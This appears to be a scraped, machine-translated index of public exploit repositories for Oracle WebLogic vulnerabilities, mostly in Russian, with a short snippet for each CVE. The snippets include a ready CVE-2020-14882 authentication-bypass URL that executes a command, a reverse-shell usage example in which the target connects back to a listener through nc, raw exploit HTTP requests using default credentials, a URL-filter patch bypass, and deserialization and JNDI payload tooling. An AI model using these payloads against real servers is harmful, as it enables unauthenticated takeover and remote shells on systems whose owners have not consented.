CVE-2020-14882

Неавторизованный RCE-эксплойт Oracle WebLogic Этот скрипт PowerShell использует CVE-2020-14882 для неавторизованного удаленного выполнения кода на версиях Oracle WebLogic Server: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 Использование .\exploit.ps1 -target 'https://target:7001'...

Oracle-WebLogic-CVE-2022-21371

Oracle-WebLogic-CVE-2022-21371 Oracle WebLogic Server: локальное включение файлов : CVE-2022-21371 Затронутые версии: Версии: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 и 14.1.1.0.0 Описание: Продукт Oracle WebLogic Server компонент Web Container из состава Oracle Fusion Middleware уязвим к локальному...

POC-CVE-2026-60206

CVE-2026-60206 — Обход аутентификации SAML в Oracle WebLogic CVSS 9.9 — обход аутентификации SAML в Oracle WebLogic Server Core. Подвержены: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0 ⚠️ Только авторизованное тестирование безопасности. Установка git clone...

CVE-2020-14882

Уязвимость удаленного выполнения кода в WebLogic - CVE-2020-14882 Введение CVE-2020-14882 — это ошибка удаленного выполнения кода RCE в компоненте Console Oracle WebLogic Server. Эта ошибка, не требующая аутентификации, получила оценку сложности атаки «низкая» и была отмечена Oracle как «легко...

CVE-2019-2618

Доказательство концепции POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 X11; Ubuntu; Linux i686; rv:20.0 Gecko/20100101 Firefox/20.0 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: keep-alive username: weblogic password: weblog...

CVE-2020-2551

CVE-2020-2551 Weblogic RCE через IIOP 0x01 Включение IIOP по умолчанию 0x02 Демонстрация PoC...

CVE-2020-14882-weblogicRCE

Обнаружение RCE в Oracle "WebLogic Server" CVE-2020-14882 / CVE-2020-14750 Краткое описание: Обнаружение попыток эксплуатации CVE-2020-14882 и CVE-2020-14750 — неавторизованное удаленное выполнение кода в Oracle Weblogic Server. Ссылки: Рекомендации Oracle: CVE-2020-14882...

cve-2020-14882

CVE-2020-14882 Затронутые версии: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; Изображение:...

weblogic-XMLDecoder

Данное программное обеспечение предназначено только для учебного обмена, запрещено любое незаконное использование Weblogic-XMLDecoder-GUI CVE-2017-10352 Экспериментальная работа на основе Python GUI. Основная функция — использование уязвимости небезопасной десериализации, вызванной XMLDecoder в...

CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 Описание Уязвимость в продукте Oracle WebLogic Server из состава Oracle Fusion Middleware компонент: Core. Поддерживаемые версии, которые затрагиваются: 12.2.1.4.0 и 14.1.1.0.0. Легко эксплуатируемая уязвимость позволяет неаутентифицированному атакующему с сетевым...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP для Python полностью за один шаг Useage: Python3 exploit.py -t -c подсказка: без эха Пример： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' затем вы получите шелл...

CVE-2018-3245

CVE-2018-3245 1단계 java -jar ysoserial-cve-2018-3245.jar Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler CVE20183245 @mbechler...

CVE-2022-21350

Почему два PoC Один содержит com.51pwn.hktalent.CreatJar.mainargs; используется при создании инструмента для генерации минимального payload. После создания используйте другой. Ошибка при запуске CVE-2022-21350powerBy51pwn.jar при сборке payload не влияет на использование payload. другие эксплойты...

CVE-2020-14882

CVE-2020-14882 Обход аутентификации Oracle WebLogic Server Уязвимость в продукте Oracle WebLogic Server из состава Oracle Fusion Middleware компонент: Console. Затронуты поддерживаемые версии: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 и 14.1.1.0.0. Легко эксплуатируемая уязвимость позволяет...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...

CVE-2020-14882

CVE-2020–14882 Weblogic 무단 우회 RCE CVE-2020–14882 패치 우회 private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; 목록 %252E%252E %2E%2E .. %3E %3C ; 소문자 변환 "%252E%252E%252F".lower '%252e%252e%252f' %252E%252E%252F를 %252e%252e%252f로 변환...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

CVE-2018-2628

CVE-2018-2628 0x01 Сканирование Nessus 0x02 K8 Tools Получение оболочки 0x03 Выполнение команд Использование: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2024-21006

1、Ничего особенного, это просто LDAP-эксплуатация. 2、Пожалуйста, проверьте журналы запросов LDAP-сервера. 3、Целевая версия должна быть Oracle WebLogic Server 12.2.1.4.0 и 14.1.1.0.0. Кроме того, требуется JDK низкой версии. 4、Используйте JNDIExploit-1.4-SNAPSHOT.jar для запуска LDAP-сервера...

cve-2019-2618

cve-2019-2618 Weblogic Upload Vuln требуется имя пользователя и пароль - CVE-2019-2618 Использование python python CVE-2019-2618.py url username password Расшифровка пароля weblogic root@f0cb7e674d7e:/Oracle cat...